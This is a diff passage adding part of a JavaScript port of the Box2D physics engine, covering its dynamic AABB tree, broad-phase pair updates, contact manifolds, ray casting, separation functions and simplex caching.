+ }
+ }
+ }
+};
+/**
+ * @param {function(!Box2D.Collision.b2RayCastInput, !Box2D.Dynamics.b2Fixture): number} callback
+ * @param {!Box2D.Collision.b2RayCastInput} input
+ */
+Box2D.Collision.b2DynamicTree.prototype.RayCast = function(callback, input) {
+ if (this.m_root === null) {
+ return;
+ }
+ var r = Box2D.Common.Math.b2Math.SubtractVV(input.p1, input.p2);
+ r.Normalize();
+ var v = Box2D.Common.Math.b2Math.CrossFV(1.0, r);
+ var abs_v = Box2D.Common.Math.b2Math.AbsV(v);
+ var maxFraction = input.maxFraction;
+ var tX = input.p1.x + maxFraction * (input.p2.x - input.p1.x);
+ var tY = input.p1.y + maxFraction * (input.p2.y - input.p1.y);
+ var segmentAABB = Box2D.Collision.b2AABB.Get();
+ segmentAABB.lowerBound_.x = Math.min(input.p1.x, tX);
+ segmentAABB.lowerBound_.y = Math.min(input.p1.y, tY);
+ segmentAABB.upperBound_.x = Math.max(input.p1.x, tX);
+ segmentAABB.upperBound_.y = Math.max(input.p1.y, tY);
+ var stack = [];
+ stack.push(this.m_root);
+ while (stack.length > 0) {
+ var node = stack.pop();
+ if (!node.aabb.TestOverlap(segmentAABB)) {
+ continue;
+ }
+ var c = node.aabb.GetCenter();
+ var h = node.aabb.GetExtents();
+ var separation = Math.abs(v.x * (input.p1.x - c.x) + v.y * (input.p1.y - c.y)) - abs_v.x * h.x - abs_v.y * h.y;
+ if (separation > 0.0) {
+ continue;
+ }
+ if (node.IsLeaf()) {
+ var subInput = new Box2D.Collision.b2RayCastInput(input.p1, input.p2, input.maxFraction);
+ maxFraction = callback(input, node.fixture);
+ if (maxFraction == 0.0) {
+ break;
+ }
+ if (maxFraction > 0.0) {
+ tX = input.p1.x + maxFraction * (input.p2.x - input.p1.x);
+ tY = input.p1.y + maxFraction * (input.p2.y - input.p1.y);
+ segmentAABB.lowerBound_.x = Math.min(input.p1.x, tX);
+ segmentAABB.lowerBound_.y = Math.min(input.p1.y, tY);
+ segmentAABB.upperBound_.x = Math.max(input.p1.x, tX);
+ segmentAABB.upperBound_.y = Math.max(input.p1.y, tY);
+ }
+ } else {
+ stack.push(node.child1);
+ stack.push(node.child2);
+ }
+ }
+ Box2D.Collision.b2AABB.Free(segmentAABB);
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeNode} leaf
+ */
+Box2D.Collision.b2DynamicTree.prototype.InsertLeaf = function(leaf) {
+ this.m_insertionCount++;
+ if (this.m_root === null) {
+ this.m_root = leaf;
+ this.m_root.parent = null;
+ return;
+ }
+ var sibling = this.GetBestSibling(leaf);
+ var parent = sibling.parent;
+ var node2 = Box2D.Collision.b2DynamicTreeNode.Get();
+ node2.parent = parent;
+ node2.aabb.Combine(leaf.aabb, sibling.aabb);
+ if (parent) {
+ if (sibling.parent.child1 == sibling) {
+ parent.child1 = node2;
+ } else {
+ parent.child2 = node2;
+ }
+ node2.child1 = sibling;
+ node2.child2 = leaf;
+ sibling.parent = node2;
+ leaf.parent = node2;
+ while (parent) {
+ if (parent.aabb.Contains(node2.aabb)) {
+ break;
+ }
+ parent.aabb.Combine(parent.child1.aabb, parent.child2.aabb);
+ node2 = parent;
+ parent = parent.parent;
+ }
+ } else {
+ node2.child1 = sibling;
+ node2.child2 = leaf;
+ sibling.parent = node2;
+ leaf.parent = node2;
+ this.m_root = node2;
+ }
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeNode} leaf
+ * @return {!Box2D.Collision.b2DynamicTreeNode}
+ */
+Box2D.Collision.b2DynamicTree.prototype.GetBestSibling = function(leaf) {
+ var center = leaf.aabb.GetCenter();
+ var sibling = this.m_root;
+ while(!sibling.IsLeaf()) {
+ var child1 = sibling.child1;
+ var child2 = sibling.child2;
+ var norm1 = Math.abs((child1.aabb.lowerBound_.x + child1.aabb.upperBound_.x) / 2 - center.x) + Math.abs((child1.aabb.lowerBound_.y + child1.aabb.upperBound_.y) / 2 - center.y);
+ var norm2 = Math.abs((child2.aabb.lowerBound_.x + child2.aabb.upperBound_.x) / 2 - center.x) + Math.abs((child2.aabb.lowerBound_.y + child2.aabb.upperBound_.y) / 2 - center.y);
+ if (norm1 < norm2) {
+ sibling = child1;
+ } else {
+ sibling = child2;
+ }
+ }
+ Box2D.Common.Math.b2Vec2.Free(center);
+ return sibling;
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeNode} leaf
+ */
+Box2D.Collision.b2DynamicTree.prototype.RemoveLeaf = function(leaf) {
+ if (leaf == this.m_root) {
+ this.m_root = null;
+ return;
+ }
+ var node2 = leaf.parent;
+ var node1 = node2.parent;
+ var sibling;
+ if (node2.child1 == leaf) {
+ sibling = node2.child2;
+ } else {
+ sibling = node2.child1;
+ }
+ if (node1) {
+ if (node1.child1 == node2) {
+ node1.child1 = sibling;
+ } else {
+ node1.child2 = sibling;
+ }
+ sibling.parent = node1;
+ while (node1) {
+ var oldAABB = node1.aabb;
+ node1.aabb.Combine(node1.child1.aabb, node1.child2.aabb);
+ if (oldAABB.Contains(node1.aabb)) {
+ break;
+ }
+ node1 = node1.parent;
+ }
+ } else {
+ this.m_root = sibling;
+ sibling.parent = null;
+ }
+ node2.Destroy();
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2DynamicTreeBroadPhase = function() {
+ /**
+ * @private
+ * @type {!Box2D.Collision.b2DynamicTree}
+ */
+ this.m_tree = new Box2D.Collision.b2DynamicTree();
+ /**
+ * @private
+ * @type {Array.}
+ */
+ this.m_moveBuffer = [];
+};
+/**
+ * @param {!Box2D.Collision.b2AABB} aabb
+ * @param {Box2D.Dynamics.b2Fixture} fixture
+ * @return {!Box2D.Collision.b2DynamicTreeNode}
+ */
+Box2D.Collision.b2DynamicTreeBroadPhase.prototype.CreateProxy = function(aabb, fixture) {
+ var proxy = this.m_tree.CreateProxy(aabb, fixture);
+ this.BufferMove(proxy);
+ return proxy;
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeNode} proxy
+ */
+Box2D.Collision.b2DynamicTreeBroadPhase.prototype.DestroyProxy = function(proxy) {
+ this.UnBufferMove(proxy);
+ this.m_tree.DestroyProxy(proxy);
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeNode} proxy
+ * @param {!Box2D.Collision.b2AABB} aabb
+ * @param {!Box2D.Common.Math.b2Vec2} displacement
+ */
+Box2D.Collision.b2DynamicTreeBroadPhase.prototype.MoveProxy = function(proxy, aabb, displacement) {
+ var buffer = this.m_tree.MoveProxy(proxy, aabb, displacement);
+ if (buffer) {
+ this.BufferMove(proxy);
+ }
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeNode} proxyA
+ * @param {!Box2D.Collision.b2DynamicTreeNode} proxyB
+ * @return {boolean}
+ */
+Box2D.Collision.b2DynamicTreeBroadPhase.prototype.TestOverlap = function(proxyA, proxyB) {
+ var aabbA = this.m_tree.GetFatAABB(proxyA);
+ var aabbB = this.m_tree.GetFatAABB(proxyB);
+ return aabbA.TestOverlap(aabbB);
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeNode} proxy
+ * @return {!Box2D.Collision.b2AABB}
+ */
+Box2D.Collision.b2DynamicTreeBroadPhase.prototype.GetFatAABB = function(proxy) {
+ return this.m_tree.GetFatAABB(proxy);
+};
+/**
+ * @return {number}
+ */
+Box2D.Collision.b2DynamicTreeBroadPhase.prototype.GetProxyCount = function() {
+ return this.m_tree.length;
+};
+/**
+ * @param {function(!Box2D.Dynamics.b2Fixture, !Box2D.Dynamics.b2Fixture)} callback
+ */
+Box2D.Collision.b2DynamicTreeBroadPhase.prototype.UpdatePairs = function(callback) {
+ var __this = this;
+ var pairs = [];
+ while (this.m_moveBuffer.length > 0) {
+ var queryProxy = this.m_moveBuffer.pop();
+ var QueryCallback = function(fixture) {
+ if (fixture != queryProxy.fixture) {
+ pairs.push(new Box2D.Collision.b2DynamicTreePair(queryProxy.fixture, fixture));
+ }
+ return true;
+ };
+ var fatAABB = this.m_tree.GetFatAABB(queryProxy);
+ this.m_tree.Query(QueryCallback, fatAABB);
+ }
+ var i = 0;
+ while(i < pairs.length) {
+ var primaryPair = pairs[i];
+ callback(primaryPair.fixtureA, primaryPair.fixtureB);
+ i++;
+ while(i < pairs.length) {
+ var pair = pairs[i];
+ if (!(pair.fixtureA == primaryPair.fixtureA && pair.fixtureB == primaryPair.fixtureB)
+ && !(pair.fixtureA == primaryPair.fixtureB && pair.fixtureB == primaryPair.fixtureA)) {
+ break;
+ }
+ i++;
+ }
+ }
+};
+/**
+ * @param {function(!Box2D.Dynamics.b2Fixture): boolean} callback
+ * @param {!Box2D.Collision.b2AABB} aabb
+ */
+Box2D.Collision.b2DynamicTreeBroadPhase.prototype.Query = function(callback, aabb) {
+ this.m_tree.Query(callback, aabb);
+};
+/**
+ * @param {function(!Box2D.Collision.b2RayCastInput, !Box2D.Dynamics.b2Fixture): number} callback
+ * @param {!Box2D.Collision.b2RayCastInput} input
+ */
+Box2D.Collision.b2DynamicTreeBroadPhase.prototype.RayCast = function(callback, input) {
+ this.m_tree.RayCast(callback, input);
+};
+/**
+ * @param {number} iterations
+ */
+Box2D.Collision.b2DynamicTreeBroadPhase.prototype.Rebalance = function(iterations) {
+ this.m_tree.Rebalance(iterations);
+};
+Box2D.Collision.b2DynamicTreeBroadPhase.prototype.BufferMove = function(proxy) {
+ this.m_moveBuffer.push(proxy);
+};
+Box2D.Collision.b2DynamicTreeBroadPhase.prototype.UnBufferMove = function(proxy) {
+ cr.arrayFindRemove(this.m_moveBuffer, proxy);
+};
+Box2D.Collision.b2DynamicTreeBroadPhase.__implements = {};
+Box2D.Collision.b2DynamicTreeBroadPhase.__implements[Box2D.Collision.IBroadPhase] = true;
+/**
+ * @private
+ * @param {Box2D.Dynamics.b2Fixture=} fixture
+ * @constructor
+ */
+Box2D.Collision.b2DynamicTreeNode = function(fixture) {
+ /** @type {!Box2D.Collision.b2AABB} */
+ this.aabb = Box2D.Collision.b2AABB.Get();
+ /** @type {Box2D.Collision.b2DynamicTreeNode} */
+ this.child1 = null;
+ /** @type {Box2D.Collision.b2DynamicTreeNode} */
+ this.child2 = null;
+ /** @type {Box2D.Collision.b2DynamicTreeNode} */
+ this.parent = null;
+ /** @type {Box2D.Dynamics.b2Fixture} */
+ this.fixture = null;
+ if (typeof(fixture) != "undefined") {
+ this.fixture = fixture;
+ }
+};
+/**
+ * @private
+ * @type {Array.}
+ */
+Box2D.Collision.b2DynamicTreeNode._freeCache = [];
+/**
+ * @param {Box2D.Dynamics.b2Fixture=} fixture
+ * @return {!Box2D.Collision.b2DynamicTreeNode}
+ */
+Box2D.Collision.b2DynamicTreeNode.Get = function(fixture) {
+ if (Box2D.Collision.b2DynamicTreeNode._freeCache.length > 0) {
+ var node = Box2D.Collision.b2DynamicTreeNode._freeCache.pop();
+ if (typeof(fixture) != "undefined") {
+ node.fixture = fixture;
+ }
+ node.aabb.SetZero();
+ return node;
+ }
+ return new Box2D.Collision.b2DynamicTreeNode(fixture);
+};
+Box2D.Collision.b2DynamicTreeNode.prototype.Destroy = function() {
+ this.child1 = null;
+ this.child2 = null;
+ this.parent = null;
+ this.fixture = null;
+ Box2D.Collision.b2DynamicTreeNode._freeCache.push(this);
+};
+/**
+ * @return boolean
+ */
+Box2D.Collision.b2DynamicTreeNode.prototype.IsLeaf = function () {
+ return this.child1 === null;
+};
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ * @constructor
+ */
+Box2D.Collision.b2DynamicTreePair = function(fixtureA, fixtureB) {
+ /** @type {!Box2D.Dynamics.b2Fixture} */
+ this.fixtureA = fixtureA;
+ /** @type {!Box2D.Dynamics.b2Fixture} */
+ this.fixtureB = fixtureB;
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2Manifold = function() {
+ this.m_pointCount = 0;
+ this.m_type = 0;
+ this.m_points = [];
+ for (var i = 0; i < Box2D.Common.b2Settings.b2_maxManifoldPoints; i++) {
+ this.m_points[i] = new Box2D.Collision.b2ManifoldPoint();
+ }
+ this.m_localPlaneNormal = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localPoint = Box2D.Common.Math.b2Vec2.Get(0, 0);
+};
+Box2D.Collision.b2Manifold.prototype.Reset = function() {
+ for (var i = 0; i < Box2D.Common.b2Settings.b2_maxManifoldPoints; i++) {
+ this.m_points[i].Reset();
+ }
+ this.m_localPlaneNormal.SetZero();
+ this.m_localPoint.SetZero();
+ this.m_type = 0;
+ this.m_pointCount = 0;
+};
+Box2D.Collision.b2Manifold.prototype.Set = function(m) {
+ this.m_pointCount = m.m_pointCount;
+ for (var i = 0; i < Box2D.Common.b2Settings.b2_maxManifoldPoints; i++) {
+ this.m_points[i].Set(m.m_points[i]);
+ }
+ this.m_localPlaneNormal.SetV(m.m_localPlaneNormal);
+ this.m_localPoint.SetV(m.m_localPoint);
+ this.m_type = m.m_type;
+};
+Box2D.Collision.b2Manifold.prototype.Copy = function() {
+ var copy = new Box2D.Collision.b2Manifold();
+ copy.Set(this);
+ return copy;
+};
+Box2D.Collision.b2Manifold.e_circles = 0x0001;
+Box2D.Collision.b2Manifold.e_faceA = 0x0002;
+Box2D.Collision.b2Manifold.e_faceB = 0x0004;
+/**
+ * @constructor
+ */
+Box2D.Collision.b2ManifoldPoint = function() {
+ this.m_localPoint = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_id = new Box2D.Collision.b2ContactID();
+ this.Reset();
+};
+Box2D.Collision.b2ManifoldPoint.prototype.Reset = function() {
+ this.m_localPoint.SetZero();
+ this.m_normalImpulse = 0.0;
+ this.m_tangentImpulse = 0.0;
+ this.m_id.SetKey(0);
+};
+Box2D.Collision.b2ManifoldPoint.prototype.Set = function(m) {
+ this.m_localPoint.SetV(m.m_localPoint);
+ this.m_normalImpulse = m.m_normalImpulse;
+ this.m_tangentImpulse = m.m_tangentImpulse;
+ this.m_id.Set(m.m_id);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} p1
+ * @param {!Box2D.Common.Math.b2Vec2} p2
+ * @param {number} maxFraction
+ * @constructor
+ */
+Box2D.Collision.b2RayCastInput = function(p1, p2, maxFraction) {
+ this.p1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.p2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ if (maxFraction === undefined) maxFraction = 1;
+ if (p1) this.p1.SetV(p1);
+ if (p2) this.p2.SetV(p2);
+ this.maxFraction = maxFraction;
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2RayCastOutput = function() {
+ this.normal = Box2D.Common.Math.b2Vec2.Get(0, 0);
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2Segment = function() {
+ this.p1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.p2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+};
+Box2D.Collision.b2Segment.prototype.TestSegment = function(lambda, normal, segment, maxLambda) {
+ if (maxLambda === undefined) maxLambda = 0;
+ var s = segment.p1;
+ var rX = segment.p2.x - s.x;
+ var rY = segment.p2.y - s.y;
+ var dX = this.p2.x - this.p1.x;
+ var dY = this.p2.y - this.p1.y;
+ var nX = dY;
+ var nY = (-dX);
+ var k_slop = 100.0 * Number.MIN_VALUE;
+ var denom = (-(rX * nX + rY * nY));
+ if (denom > k_slop) {
+ var bX = s.x - this.p1.x;
+ var bY = s.y - this.p1.y;
+ var a = (bX * nX + bY * nY);
+ if (0.0 <= a && a <= maxLambda * denom) {
+ var mu2 = (-rX * bY) + rY * bX;
+ if ((-k_slop * denom) <= mu2 && mu2 <= denom * (1.0 + k_slop)) {
+ a /= denom;
+ var nLen = Math.sqrt(nX * nX + nY * nY);
+ nX /= nLen;
+ nY /= nLen;
+ lambda[0] = a;
+ normal.Set(nX, nY);
+ return true;
+ }
+ }
+ }
+ return false;
+};
+Box2D.Collision.b2Segment.prototype.Extend = function(aabb) {
+ this.ExtendForward(aabb);
+ this.ExtendBackward(aabb);
+};
+Box2D.Collision.b2Segment.prototype.ExtendForward = function(aabb) {
+ var dX = this.p2.x - this.p1.x;
+ var dY = this.p2.y - this.p1.y;
+ var lambda = Math.min(dX > 0 ? (aabb.upperBound_.x - this.p1.x) / dX : dX < 0 ? (aabb.lowerBound_.x - this.p1.x) / dX : Number.POSITIVE_INFINITY, dY > 0 ? (aabb.upperBound_.y - this.p1.y) / dY : dY < 0 ? (aabb.lowerBound_.y - this.p1.y) / dY : Number.POSITIVE_INFINITY);
+ this.p2.x = this.p1.x + dX * lambda;
+ this.p2.y = this.p1.y + dY * lambda;
+};
+Box2D.Collision.b2Segment.prototype.ExtendBackward = function(aabb) {
+ var dX = (-this.p2.x) + this.p1.x;
+ var dY = (-this.p2.y) + this.p1.y;
+ var lambda = Math.min(dX > 0 ? (aabb.upperBound_.x - this.p2.x) / dX : dX < 0 ? (aabb.lowerBound_.x - this.p2.x) / dX : Number.POSITIVE_INFINITY, dY > 0 ? (aabb.upperBound_.y - this.p2.y) / dY : dY < 0 ? (aabb.lowerBound_.y - this.p2.y) / dY : Number.POSITIVE_INFINITY);
+ this.p1.x = this.p2.x + dX * lambda;
+ this.p1.y = this.p2.y + dY * lambda;
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2SeparationFunction = function() {
+ this.m_localPoint = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_axis = Box2D.Common.Math.b2Vec2.Get(0, 0);
+};
+Box2D.Collision.b2SeparationFunction.prototype.Initialize = function(cache, proxyA, transformA, proxyB, transformB) {
+ this.m_proxyA = proxyA;
+ this.m_proxyB = proxyB;
+ var count = cache.count;
+;
+ var localPointA;
+ var localPointA1;
+ var localPointA2;
+ var localPointB;
+ var localPointB1;
+ var localPointB2;
+ var pointAX = 0;
+ var pointAY = 0;
+ var pointBX = 0;
+ var pointBY = 0;
+ var normalX = 0;
+ var normalY = 0;
+ var tMat;
+ var tVec;
+ var s = 0;
+ var sgn = 0;
+ if (count == 1) {
+ this.m_type = Box2D.Collision.b2SeparationFunction.e_points;
+ localPointA = this.m_proxyA.GetVertex(cache.indexA[0]);
+ localPointB = this.m_proxyB.GetVertex(cache.indexB[0]);
+ tVec = localPointA;
+ tMat = transformA.R;
+ pointAX = transformA.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ pointAY = transformA.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ tVec = localPointB;
+ tMat = transformB.R;
+ pointBX = transformB.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ pointBY = transformB.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ this.m_axis.x = pointBX - pointAX;
+ this.m_axis.y = pointBY - pointAY;
+ this.m_axis.Normalize();
+ } else if (cache.indexB[0] == cache.indexB[1]) {
+ this.m_type = Box2D.Collision.b2SeparationFunction.e_faceA;
+ localPointA1 = this.m_proxyA.GetVertex(cache.indexA[0]);
+ localPointA2 = this.m_proxyA.GetVertex(cache.indexA[1]);
+ localPointB = this.m_proxyB.GetVertex(cache.indexB[0]);
+ this.m_localPoint.x = 0.5 * (localPointA1.x + localPointA2.x);
+ this.m_localPoint.y = 0.5 * (localPointA1.y + localPointA2.y);
+ this.m_axis = Box2D.Common.Math.b2Math.CrossVF(Box2D.Common.Math.b2Math.SubtractVV(localPointA2, localPointA1), 1.0);
+ this.m_axis.Normalize();
+ tVec = this.m_axis;
+ tMat = transformA.R;
+ normalX = tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ normalY = tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ tVec = this.m_localPoint;
+ tMat = transformA.R;
+ pointAX = transformA.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ pointAY = transformA.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ tVec = localPointB;
+ tMat = transformB.R;
+ pointBX = transformB.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ pointBY = transformB.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ s = (pointBX - pointAX) * normalX + (pointBY - pointAY) * normalY;
+ if (s < 0.0) {
+ this.m_axis.NegativeSelf();
+ }
+ } else if (cache.indexA[0] == cache.indexA[0]) {
+ this.m_type = Box2D.Collision.b2SeparationFunction.e_faceB;
+ localPointB1 = this.m_proxyB.GetVertex(cache.indexB[0]);
+ localPointB2 = this.m_proxyB.GetVertex(cache.indexB[1]);
+ localPointA = this.m_proxyA.GetVertex(cache.indexA[0]);
+ this.m_localPoint.x = 0.5 * (localPointB1.x + localPointB2.x);
+ this.m_localPoint.y = 0.5 * (localPointB1.y + localPointB2.y);
+ this.m_axis = Box2D.Common.Math.b2Math.CrossVF(Box2D.Common.Math.b2Math.SubtractVV(localPointB2, localPointB1), 1.0);
+ this.m_axis.Normalize();
+ tVec = this.m_axis;
+ tMat = transformB.R;
+ normalX = tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ normalY = tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ tVec = this.m_localPoint;
+ tMat = transformB.R;
+ pointBX = transformB.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ pointBY = transformB.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ tVec = localPointA;
+ tMat = transformA.R;
+ pointAX = transformA.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ pointAY = transformA.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ s = (pointAX - pointBX) * normalX + (pointAY - pointBY) * normalY;
+ if (s < 0.0) {
+ this.m_axis.NegativeSelf();
+ }
+ } else {
+ localPointA1 = this.m_proxyA.GetVertex(cache.indexA[0]);
+ localPointA2 = this.m_proxyA.GetVertex(cache.indexA[1]);
+ localPointB1 = this.m_proxyB.GetVertex(cache.indexB[0]);
+ localPointB2 = this.m_proxyB.GetVertex(cache.indexB[1]);
+ var dA = Box2D.Common.Math.b2Math.MulMV(transformA.R, Box2D.Common.Math.b2Math.SubtractVV(localPointA2, localPointA1));
+ var dB = Box2D.Common.Math.b2Math.MulMV(transformB.R, Box2D.Common.Math.b2Math.SubtractVV(localPointB2, localPointB1));
+ var a = dA.x * dA.x + dA.y * dA.y;
+ var e = dB.x * dB.x + dB.y * dB.y;
+ var r = Box2D.Common.Math.b2Math.SubtractVV(dB, dA);
+ var c = dA.x * r.x + dA.y * r.y;
+ var f = dB.x * r.x + dB.y * r.y;
+ var b = dA.x * dB.x + dA.y * dB.y;
+ var denom = a * e - b * b;
+ s = 0.0;
+ if (denom != 0.0) {
+ s = Box2D.Common.Math.b2Math.Clamp((b * f - c * e) / denom, 0.0, 1.0);
+ }
+ var t = (b * s + f) / e;
+ if (t < 0.0) {
+ t = 0.0;
+ s = Box2D.Common.Math.b2Math.Clamp((b - c) / a, 0.0, 1.0);
+ }
+ localPointA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ localPointA.x = localPointA1.x + s * (localPointA2.x - localPointA1.x);
+ localPointA.y = localPointA1.y + s * (localPointA2.y - localPointA1.y);
+ localPointB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ localPointB.x = localPointB1.x + s * (localPointB2.x - localPointB1.x);
+ localPointB.y = localPointB1.y + s * (localPointB2.y - localPointB1.y);
+ if (s == 0.0 || s == 1.0) {
+ this.m_type = Box2D.Collision.b2SeparationFunction.e_faceB;
+ this.m_axis = Box2D.Common.Math.b2Math.CrossVF(Box2D.Common.Math.b2Math.SubtractVV(localPointB2, localPointB1), 1.0);
+ this.m_axis.Normalize();
+ this.m_localPoint = localPointB;
+ tVec = this.m_axis;
+ tMat = transformB.R;
+ normalX = tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ normalY = tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ tVec = this.m_localPoint;
+ tMat = transformB.R;
+ pointBX = transformB.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ pointBY = transformB.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ tVec = localPointA;
+ tMat = transformA.R;
+ pointAX = transformA.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ pointAY = transformA.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ sgn = (pointAX - pointBX) * normalX + (pointAY - pointBY) * normalY;
+ if (s < 0.0) {
+ this.m_axis.NegativeSelf();
+ }
+ } else {
+ this.m_type = Box2D.Collision.b2SeparationFunction.e_faceA;
+ this.m_axis = Box2D.Common.Math.b2Math.CrossVF(Box2D.Common.Math.b2Math.SubtractVV(localPointA2, localPointA1), 1.0);
+ this.m_localPoint = localPointA;
+ tVec = this.m_axis;
+ tMat = transformA.R;
+ normalX = tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ normalY = tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ tVec = this.m_localPoint;
+ tMat = transformA.R;
+ pointAX = transformA.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ pointAY = transformA.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ tVec = localPointB;
+ tMat = transformB.R;
+ pointBX = transformB.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ pointBY = transformB.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ sgn = (pointBX - pointAX) * normalX + (pointBY - pointAY) * normalY;
+ if (s < 0.0) {
+ this.m_axis.NegativeSelf();
+ }
+ }
+ }
+};
+Box2D.Collision.b2SeparationFunction.prototype.Evaluate = function(transformA, transformB) {
+ var axisA;
+ var axisB;
+ var localPointA;
+ var localPointB;
+ var pointA;
+ var pointB;
+ var seperation = 0;
+ var normal;
+ switch (this.m_type) {
+ case Box2D.Collision.b2SeparationFunction.e_points:
+ axisA = Box2D.Common.Math.b2Math.MulTMV(transformA.R, this.m_axis);
+ axisB = Box2D.Common.Math.b2Math.MulTMV(transformB.R, this.m_axis.GetNegative());
+ localPointA = this.m_proxyA.GetSupportVertex(axisA);
+ localPointB = this.m_proxyB.GetSupportVertex(axisB);
+ pointA = Box2D.Common.Math.b2Math.MulX(transformA, localPointA);
+ pointB = Box2D.Common.Math.b2Math.MulX(transformB, localPointB);
+ seperation = (pointB.x - pointA.x) * this.m_axis.x + (pointB.y - pointA.y) * this.m_axis.y;
+ break;
+ case Box2D.Collision.b2SeparationFunction.e_faceA:
+ normal = Box2D.Common.Math.b2Math.MulMV(transformA.R, this.m_axis);
+ pointA = Box2D.Common.Math.b2Math.MulX(transformA, this.m_localPoint);
+ axisB = Box2D.Common.Math.b2Math.MulTMV(transformB.R, normal.GetNegative());
+ localPointB = this.m_proxyB.GetSupportVertex(axisB);
+ pointB = Box2D.Common.Math.b2Math.MulX(transformB, localPointB);
+ seperation = (pointB.x - pointA.x) * normal.x + (pointB.y - pointA.y) * normal.y;
+ break;
+ case Box2D.Collision.b2SeparationFunction.e_faceB:
+ normal = Box2D.Common.Math.b2Math.MulMV(transformB.R, this.m_axis);
+ pointB = Box2D.Common.Math.b2Math.MulX(transformB, this.m_localPoint);
+ axisA = Box2D.Common.Math.b2Math.MulTMV(transformA.R, normal.GetNegative());
+ localPointA = this.m_proxyA.GetSupportVertex(axisA);
+ pointA = Box2D.Common.Math.b2Math.MulX(transformA, localPointA);
+ seperation = (pointA.x - pointB.x) * normal.x + (pointA.y - pointB.y) * normal.y;
+ break;
+ default:
+;
+ break;
+ }
+ return seperation;
+};
+Box2D.Collision.b2SeparationFunction.e_points = 0x01;
+Box2D.Collision.b2SeparationFunction.e_faceA = 0x02;
+Box2D.Collision.b2SeparationFunction.e_faceB = 0x04;
+/**
+ * @constructor
+ */
+Box2D.Collision.b2Simplex = function() {
+ this.m_v1 = new Box2D.Collision.b2SimplexVertex();
+ this.m_v2 = new Box2D.Collision.b2SimplexVertex();
+ this.m_v3 = new Box2D.Collision.b2SimplexVertex();
+ this.m_vertices = [this.m_v1, this.m_v2, this.m_v3];
+};
+Box2D.Collision.b2Simplex.prototype.ReadCache = function(cache, proxyA, transformA, proxyB, transformB) {
+;
+ var wALocal;
+ var wBLocal;
+ this.m_count = cache.count;
+ var vertices = this.m_vertices;
+ for (var i = 0; i < this.m_count; i++) {
+ var v = vertices[i];
+ v.indexA = cache.indexA[i];
+ v.indexB = cache.indexB[i];
+ wALocal = proxyA.GetVertex(v.indexA);
+ wBLocal = proxyB.GetVertex(v.indexB);
+ v.wA = Box2D.Common.Math.b2Math.MulX(transformA, wALocal);
+ v.wB = Box2D.Common.Math.b2Math.MulX(transformB, wBLocal);
+ v.w = Box2D.Common.Math.b2Math.SubtractVV(v.wB, v.wA);
+ v.a = 0;
+ }
+ if (this.m_count > 1) {
+ var metric1 = cache.metric;
+ var metric2 = this.GetMetric();
+ if (metric2 < .5 * metric1 || 2.0 * metric1 < metric2 || metric2 < Number.MIN_VALUE) {
+ this.m_count = 0;
+ }
+ }
+ if (this.m_count == 0) {
+ v = vertices[0];
+ v.indexA = 0;
+ v.indexB = 0;
+ wALocal = proxyA.GetVertex(0);
+ wBLocal = proxyB.GetVertex(0);
+ v.wA = Box2D.Common.Math.b2Math.MulX(transformA, wALocal);
+ v.wB = Box2D.Common.Math.b2Math.MulX(transformB, wBLocal);
+ v.w = Box2D.Common.Math.b2Math.SubtractVV(v.wB, v.wA);
+ this.m_count = 1;
+ }
+};
+Box2D.Collision.b2Simplex.prototype.WriteCache = function(cache) {
+ cache.metric = this.GetMetric();
+ cache.count = this.m_count;
+ var vertices = this.m_vertices;
